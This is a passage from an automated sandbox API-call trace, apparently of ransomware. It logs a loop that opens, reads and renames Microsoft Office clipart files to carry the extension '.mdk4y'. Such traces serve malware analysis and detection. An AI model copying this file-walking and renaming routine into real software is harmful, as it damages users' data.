lpNumberOfBytesRead=0x37df4c*=0x1b74, lpOverlapped=0x0) returned 1 [0154.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822942000000) returned 1 [0154.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822942000000) returned 1 [0154.190] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.mdk4y")) returned 1 [0154.191] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0154.191] AreFileApisANSI () returned 1 [0154.191] GetACP () returned 0x4e4 [0154.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0172193.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0172193.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0154.191] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0154.192] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822942200000) returned 1 [0154.192] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3198, lpOverlapped=0x0) returned 1 [0154.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822949800000) returned 1 [0154.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822949800000) returned 1 [0154.270] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.mdk4y")) returned 1 [0154.271] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0154.271] AreFileApisANSI () returned 1 [0154.271] GetACP () returned 0x4e4 [0154.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0174315.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0174315.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0154.271] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0154.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822950100000) returned 1 [0154.271] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16e8, lpOverlapped=0x0) returned 1 [0154.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822958800000) returned 1 [0154.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822958800000) returned 1 [0154.358] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.mdk4y")) returned 1 [0154.359] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0154.359] AreFileApisANSI () returned 1 [0154.359] GetACP () returned 0x4e4 [0154.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0174635.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0174635.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0154.359] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0154.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822959000000) returned 1 [0154.360] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2608, lpOverlapped=0x0) returned 1 [0154.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822966700000) returned 1 [0154.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822966700000) returned 1 [0154.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.mdk4y")) returned 1 [0154.438] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0154.438] AreFileApisANSI () returned 1 [0154.438] GetACP () returned 0x4e4 [0154.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0174639.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0174639.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0154.439] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0154.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822966900000) returned 1 [0154.439] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13ec, lpOverlapped=0x0) returned 1 [0154.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822979300000) returned 1 [0154.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822979300000) returned 1 [0154.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.mdk4y")) returned 1 [0154.567] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0154.567] AreFileApisANSI () returned 1 [0154.567] GetACP () returned 0x4e4 [0154.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0174952.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0174952.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0154.567] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0154.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822979800000) returned 1 [0154.568] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6196, lpOverlapped=0x0) returned 1 [0154.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822991700000) returned 1 [0154.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822991700000) returned 1 [0154.688] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.mdk4y")) returned 1 [0154.689] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0154.689] AreFileApisANSI () returned 1 [0154.689] GetACP () returned 0x4e4 [0154.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0175361.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0175361.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0154.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0154.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822991900000) returned 1 [0154.689] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb57d, lpOverlapped=0x0) returned 1 [0154.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823007900000) returned 1 [0154.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823007900000) returned 1 [0154.850] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.mdk4y")) returned 1 [0154.850] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0154.850] AreFileApisANSI () returned 1 [0154.850] GetACP () returned 0x4e4 [0154.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0175428.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0175428.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0154.850] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0154.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823008100000) returned 1 [0154.851] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x38d8, lpOverlapped=0x0) returned 1 [0154.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823008200000) returned 1 [0154.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823008200000) returned 1 [0154.852] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.mdk4y")) returned 1 [0154.853] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0154.853] AreFileApisANSI () returned 1 [0154.853] GetACP () returned 0x4e4 [0154.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0177257.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0177257.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0154.853] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0154.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823008400000) returned 1 [0154.854] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb12e, lpOverlapped=0x0) returned 1 [0155.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823049500000) returned 1 [0155.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823049500000) returned 1 [0155.266] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.mdk4y")) returned 1 [0155.269] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0155.269] AreFileApisANSI () returned 1 [0155.269] GetACP () returned 0x4e4 [0155.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0177806.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0177806.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0155.269] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0155.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823050000000) returned 1 [0155.270] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd902, lpOverlapped=0x0) returned 1 [0155.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823057600000) returned 1 [0155.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823057600000) returned 1 [0155.347] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.mdk4y")) returned 1 [0155.347] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0155.347] AreFileApisANSI () returned 1 [0155.347] GetACP () returned 0x4e4 [0155.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0178348.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0178348.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0155.348] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0155.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823057800000) returned 1 [0155.348] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x907d, lpOverlapped=0x0) returned 1 [0155.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823093500000) returned 1 [0155.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823093500000) returned 1 [0155.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.mdk4y")) returned 1 [0155.707] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0155.707] AreFileApisANSI () returned 1 [0155.707] GetACP () returned 0x4e4 [0155.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0178459.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0178459.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0155.707] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0155.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823093800000) returned 1 [0155.708] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7214, lpOverlapped=0x0) returned 1 [0155.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823096100000) returned 1 [0155.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823096100000) returned 1 [0155.732] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.mdk4y")) returned 1 [0155.733] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0155.733] AreFileApisANSI () returned 1 [0155.733] GetACP () returned 0x4e4 [0155.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0178460.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0178460.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0155.733] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0155.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823096300000) returned 1 [0155.733] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x67a3, lpOverlapped=0x0) returned 1 [0155.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823096500000) returned 1 [0155.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823096500000) returned 1 [0155.736] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.mdk4y")) returned 1 [0155.736] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0155.736] AreFileApisANSI () returned 1 [0155.736] GetACP () returned 0x4e4 [0155.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0178523.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0178523.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0155.736] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0155.737] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823096700000) returned 1 [0155.737] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5de2, lpOverlapped=0x0) returned 1 [0155.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823107800000) returned 1 [0155.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823107800000) returned 1 [0155.848] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.mdk4y")) returned 1 [0155.849] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0155.849] AreFileApisANSI () returned 1 [0155.849] GetACP () returned 0x4e4 [0155.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0178632.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0178632.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0155.849] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0155.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823108000000) returned 1 [0155.850] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b2a, lpOverlapped=0x0) returned 1 [0155.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823121100000) returned 1 [0155.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823121100000) returned 1 [0155.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), 